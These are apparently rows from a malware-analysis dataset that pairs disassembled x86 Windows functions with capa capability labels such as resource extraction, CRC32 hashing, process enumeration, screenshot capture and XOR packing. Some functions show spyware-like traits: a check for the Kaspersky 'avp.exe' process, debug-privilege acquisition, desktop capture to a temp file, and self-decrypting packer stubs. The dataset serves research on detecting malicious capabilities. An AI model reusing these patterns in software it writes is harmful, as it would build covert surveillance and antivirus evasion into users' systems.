joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e4b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41e4db
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41e4ff
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41e51a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x422a93
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x422ad5
call fcn.00428a26
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x422ad5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x422acc
xor eax, eax
jmp 0x422add
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00422ae3
pop edi
pop esi
pop ebx
ret 4
Function at 0x4072ad
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x46bc7c], 0
jne 0x4072eb
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4072c1
mov dword [ecx*4 + 0x46bc78], eax
inc ecx
cmp ecx, 0x100
jl 0x4072bc
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407318
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46bc78]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072f9
not eax
pop ebp
ret 0xc

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x404c20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x453348]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
lea ecx, [edi + 1]
push esi
push ecx
mov dword [ebp - 0x48], eax
call fcn.0041d9c1
push 0
mov ebx, eax
call fcn.0041fd16
push eax
call fcn.0041eba3
add esp, 0xc
xor esi, esi
mov dword [ebp - 0x44], 0x33323130
mov dword [ebp - 0x40], 0x37363534
mov dword [ebp - 0x3c], 0x62613938
mov dword [ebp - 0x38], 0x66656463
mov dword [ebp - 0x34], 0x6a696867
mov dword [ebp - 0x30], 0x6e6d6c6b
mov dword [ebp - 0x2c], 0x7271706f
mov dword [ebp - 0x28], 0x76757473
mov dword [ebp - 0x24], 0x7a797877
mov dword [ebp - 0x20], 0x44434241
mov dword [ebp - 0x1c], 0x48474645
mov dword [ebp - 0x18], 0x4c4b4a49
mov dword [ebp - 0x14], 0x504f4e4d
mov dword [ebp - 0x10], 0x54535251
mov dword [ebp - 0xc], 0x58575655
mov word [ebp - 8], 0x5a59
test edi, edi
jle 0x404ce2
call fcn.0041ebb5
cdq
mov ecx, 0x3e
idiv ecx
inc esi
mov dl, byte [ebp + edx - 0x44]
mov byte [esi + ebx - 1], dl
cmp esi, edi
jl 0x404cc8
mov esi, dword [ebp - 0x48]
mov byte [edi + ebx], 0
mov eax, ebx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404d00
sub eax, edx
push eax
push ebx
mov ecx, esi
call fcn.00401bb0
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
Function at 0x408a60
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x453348]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x24], eax
mov ebx, 0x45a474
cmp dword [ebx], 0
je 0x408aee
mov eax, dword [ebp - 0x24]
sub eax, dword [ebx + 4]
cmp eax, 0x927c0
jbe 0x408aee
mov ecx, dword [ebx - 4]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
sub esp, 0x1c
mov ecx, esp
mov dword [ebx], 0
push 0x11
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push 0x44e638
mov byte [ecx], 0
call fcn.00401bb0
lea edi, [ebp - 0x20]
call fcn.00418e70
add esp, 0x1c
lea esi, [ebx + 0x24]
mov edi, eax
call fcn.00401900
cmp dword [ebp - 0xc], 0x10
jb 0x408aee
mov edx, dword [ebp - 0x20]
push edx
call fcn.0041d1cc
add esp, 4
add ebx, 0x44
cmp ebx, 0x45a8b4
jl 0x408a81
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
Function at 0x412cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x453348]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x412e2a
cmp byte [edi + 0x49], bl
je 0x412e2a
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x412d38
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x20], bl
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 8
cmp ecx, 0x10
jae 0x412d5a
lea eax, [ebp - 0x20]
mov byte [eax + 8], bl
push esi
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0xc]
mov edx, eax
cmp ebx, 0x10
jae 0x412d70
lea edx, [ebp - 0x20]
mov eax, edx
add edx, dword [ebp - 0x10]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x24]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x412daf
dec eax
je 0x412db3
sub eax, 2
lea ecx, [ebp - 0x20]
je 0x412e12
call fcn.00401880
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
mov ecx, eax
cmp ebx, 0x10
jae 0x412dc3
lea ecx, [ebp - 0x20]
mov esi, dword [ebp - 0x24]
sub esi, ecx
je 0x412dec
cmp ebx, 0x10
jae 0x412dd2
lea eax, [ebp - 0x20]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0041ee90
add esp, 0x10
cmp esi, eax
jne 0x412e0a
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
cmp byte [edi + 0x49], 0
je 0x412e0f
test esi, esi
jne 0x412d64
push esi
push 8
lea ecx, [ebp - 0x20]
call fcn.00401970
jmp 0x412d5e
lea ecx, [ebp - 0x20]
jmp 0x412d97
lea ecx, [ebp - 0x20]
call fcn.00401880
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
Function at 0x4188a0
Capabilities:
Encode data using xor
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x453348]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x258], esi
cmp esi, 0xffffffff
je 0x4188ee
lea eax, [ebp - 0x254]
push eax
push esi
mov dword [ebp - 0x254], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x4188ff
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov bl, 0x8c
lea esp, [esp]
mov dword [ebp - 0x10], 0x8e888d8b
mov byte [ebp - 0xc], bl
mov word [ebp - 0xb], 0x9d87
mov byte [ebp - 9], 0xc7
mov byte [ebp - 8], bl
mov byte [ebp - 7], 0x91
mov byte [ebp - 6], bl
xor eax, eax
xor byte [ebp + eax - 0x10], 0xe9
inc eax
cmp eax, 0xb
jl 0x418930
xor eax, eax
push 0xc
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x28]
push edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
call fcn.0041d877
push 7
lea eax, [ebp - 0x230]
push str.avp.exe
push eax
call fcn.00442f50
add esp, 0x18
test eax, eax
je 0x4189f3
push 0xb
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x230]
push edx
call fcn.00442f50
add esp, 0xc
test eax, eax
je 0x4189fc
mov eax, dword [ebp - 0x24c]
push eax
push 0
push 0x1fffff
call edi
mov esi, eax
test esi, esi
je 0x4189ba
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
test eax, eax
jne 0x4189ba
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x258]
lea ecx, [ebp - 0x254]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x418910
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
mov byte [0x459c3e], 1
jmp 0x4189dd
push 0xffffffffffffffff
mov byte [0x459c3f], 1
call fcn.00420067
int3
Function at 0x41a880
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x453348]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
push 0
push edx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret

Function at 0x41ac30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pushal
mov eax, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp word ds:[ebx], 0x4550
jne 0x41ac7b
mov ebx, dword [ebx + 0x78]
add ebx, eax
mov ecx, dword [ebx + 0x18]
dec ecx
mov edx, dword [ebx + 0x20]
add edx, eax
mov esi, dword [edx + ecx*4]
add esi, eax
push eax
push esi
mov eax, 0x41abd0
call eax
push eax
push esi
mov eax, 0x41abf0
call eax
cmp eax, edi
pop eax
je 0x41ac88
cmp ecx, 0xffffffff
je 0x41ac7b
dec ecx
cmp ecx, 0xffffffff
jg 0x41ac54
mov dword ds:[esp + 0x1c], 0
popal
ret 8
mov edx, dword [ebx + 0x24]
add edx, eax
mov cx, word [edx + ecx*2]
mov edx, dword [ebx + 0x1c]
add edx, eax
mov ebx, dword [edx + ecx*4]
add eax, ebx
mov dword ds:[esp + 0x1c], eax
popal
ret 8
Function at 0x41b820
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x308
mov eax, dword [0x453348]
xor eax, esp
mov dword [esp + 0x304], eax
push esi
push edi
push str.Shlwapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.PathFileExistsW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push pe_nt_image_headers32
mov dword [0x45893c], eax
lea eax, [esp + 0xc]
push 0
push eax
call fcn.00427fa0
add esp, 0xc
push 0x200
lea ecx, [esp + 0x10c]
push 0
push ecx
call fcn.00427fa0
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
add esp, 0xc
lea edx, [esp + 8]
push edx
push pe_nt_image_headers32
call esi
lea eax, [esp + 8]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x41b8a0
mov ecx, dword [str.deskcapture.jpg]
mov edx, dword [0x44fe14]
mov dword [eax], ecx
mov ecx, dword [0x44fe18]
mov dword [eax + 4], edx
mov edx, dword [0x44fe1c]
mov dword [eax + 8], ecx
mov cl, byte [0x44fe20]
mov dword [eax + 0xc], edx
push pe_nt_image_headers32
lea edx, [esp + 0xc]
mov byte [eax + 0x10], cl
push edx
lea eax, [esp + 0x110]
push eax
call fcn.0041d877
add esp, 0xc
lea ecx, [esp + 0x108]
push ecx
call dword [0x45893c]
test eax, eax
je 0x41b90e
lea edx, [esp + 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, eax
call fcn.0041ba70
call fcn.0041bdc0
push pe_nt_image_headers32
lea eax, [esp + 0xc]
push 0
push eax
call fcn.00427fa0
add esp, 0xc
push 0x200
lea ecx, [esp + 0x10c]
push 0
push ecx
call fcn.00427fa0
add esp, 0xc
lea edx, [esp + 8]
push edx
push pe_nt_image_headers32
call esi
lea eax, [esp + 8]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x41b960
mov ecx, dword [str.deskcapture.jpg]
mov edx, dword [0x44fe14]
mov dword [eax], ecx
mov ecx, dword [0x44fe18]
mov dword [eax + 4], edx
mov edx, dword [0x44fe1c]
mov dword [eax + 8], ecx
mov cl, byte [0x44fe20]
mov dword [eax + 0xc], edx
push pe_nt_image_headers32
lea edx, [esp + 0xc]
mov byte [eax + 0x10], cl
push edx
lea eax, [esp + 0x110]
push eax
call fcn.0041d877
add esp, 0xc
lea ecx, [esp + 0x108]
push ecx
call dword [0x45893c]
test eax, eax
je 0x41ba4c
push pe_nt_image_headers32
lea edx, [esp + 0xc]
push 0
push edx
call fcn.00427fa0
add esp, 0xc
lea eax, [esp + 8]
push eax
push pe_nt_image_headers32
call esi
lea eax, [esp + 8]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x41b9f0
mov ecx, dword [str.deskcapture.bmp]
mov edx, dword [0x44fe28]
mov dword [eax], ecx
mov ecx, dword [0x44fe2c]
mov dword [eax + 4], edx
mov edx, dword [0x44fe30]
mov dword [eax + 8], ecx
mov cl, byte [0x44fe34]
mov dword [eax + 0xc], edx
lea edx, [esp + 8]
push edx
mov byte [eax + 0x10], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 1
pop edi
pop esi
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
xor ecx, esp
xor al, al
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
Function at 0x41bdc0
Capabilities:
Capture screenshot
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x453348]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x190
xor esi, esi
lea eax, [ebp - 0x298]
push esi
push eax
call fcn.00427fa0
push pe_nt_image_headers32
lea ecx, [ebp - 0x108]
push esi
push ecx
call fcn.00427fa0
add esp, 0x18
lea edx, [ebp - 0x108]
push edx
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x41be18
mov ecx, dword [str.deskcapture.jpg]
mov edx, dword [0x44fe14]
mov dword [eax], ecx
mov ecx, dword [0x44fe18]
mov dword [eax + 4], edx
mov edx, dword [0x44fe1c]
mov dword [eax + 8], ecx
mov cl, byte [0x44fe20]
mov dword [eax + 0xc], edx
push pe_nt_image_headers32
lea edx, [ebp - 0x108]
mov byte [eax + 0x10], cl
push edx
lea eax, [ebp - 0x298]
push eax
call fcn.0041d877
add esp, 0xc
push esi
lea ecx, [ebp - 0x2c8]
push ecx
lea edx, [ebp - 0x2b0]
push edx
mov dword [ebp - 0x2c8], 1
mov dword [ebp - 0x2c4], esi
mov dword [ebp - 0x2c0], esi
mov dword [ebp - 0x2bc], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
push esi
call dword [sym.imp.USER32.dll_GetDC]
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
mov esi, eax
call edi
mov ebx, eax
push 0
mov dword [ebp - 0x2b4], ebx
call edi
push esi
mov dword [ebp - 0x2ac], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
mov eax, dword [ebp - 0x2ac]
push ebx
push eax
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebx, eax
push ebx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [ebp - 0x2b4]
mov edx, dword [ebp - 0x2ac]
push 0xcc0020
push 0
push 0
push esi
push ecx
push edx
push 0
push 0
push edi
mov dword [ebp - 0x2b8], eax
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [ebp - 0x2ac]
push eax
push 0
push ebx
mov dword [ebp - 0x2ac], 0
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov ecx, dword [ebp - 0x2ac]
lea edx, [ebp - 0x2a8]
push edx
mov dword [ebp - 0x2d4], ecx
call fcn.0041bfb0
mov edx, dword [ebp - 0x2ac]
add esp, 4
push 0
lea eax, [ebp - 0x2a8]
push eax
lea ecx, [ebp - 0x298]
push ecx
push edx
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
mov eax, dword [ebp - 0x2b8]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push edi
mov edi, dword [sym.imp.GDI32.dll_DeleteObject]
call edi
push ebx
call edi
push esi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, dword [ebp - 0x2d4]
push ecx
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
mov edx, dword [ebp - 0x2b0]
push edx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret

Function at 0x41c2f8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x453348]
jne 0x41c302
repz ret
jmp fcn.004206b4
Function at 0x43b0ca
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x453348]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00421419
and dword [ebp - 0x14], 0
cmp dword [0x456ea8], 0
mov dword [ebp - 0x18], eax
jne 0x43b17d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x43b225
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44d094
push ebx
call edi
test eax, eax
je 0x43b225
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x456ea8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x456eac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x456eb0], eax
call edi
push eax
call esi
mov dword [0x456eb8], eax
test eax, eax
je 0x43b17d
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x456eb4], eax
mov eax, dword [0x456eb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x43b1d6
cmp dword [0x456eb8], ecx
je 0x43b1d6
push eax
call esi
push dword [0x456eb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x43b1d6
test ebx, ebx
je 0x43b1d6
call edi
test eax, eax
je 0x43b1cd
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x43b1cd
test byte [ebp - 8], 1
jne 0x43b1d6
or dword [ebp + 0x10], 0x200000
jmp 0x43b209
mov eax, dword [0x456eac]
cmp eax, dword [ebp - 0x18]
je 0x43b209
push eax
call esi
test eax, eax
je 0x43b209
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43b209
mov eax, dword [0x456eb0]
cmp eax, dword [ebp - 0x18]
je 0x43b209
push eax
call esi
test eax, eax
je 0x43b209
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x456ea8]
call esi
test eax, eax
je 0x43b225
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x43b227
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c2f8
leave
ret
Function at 0x1009e8c
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1004770
call fcn.0100a218
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x1009ec7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1009ec7
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1009edf
cmp eax, 0x20b
je 0x1009ecc
mov dword [ebp - 0x1c], edi
jmp 0x1009ef3
cmp dword [ecx + 0x84], 0xe
jbe 0x1009ec7
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x1009eed
cmp dword [ecx + 0x74], 0xe
jbe 0x1009ec7
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x100ccc0], 0xffffffff
or dword [0x100ccc4], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x100cc94]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x100cc90]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x100ccbc], eax
call fcn.0100a212
cmp dword [0x100cb90], edi
jne 0x1009f4e
push fcn.0100a212
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0100a200
push 0x1001244
push 0x1001240
call sub.msvcrt.dll__initterm
mov eax, dword [0x100cc8c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x100cc88]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x100123c
push 0x1001234
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x24]
mov ecx, dword [sym.imp.msvcrt.dll___initenv]
mov dword [ecx], eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0100730a
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x1c], edi
jne 0x1009fc5
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1009ffa
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0100a251
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x42fe5bec
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
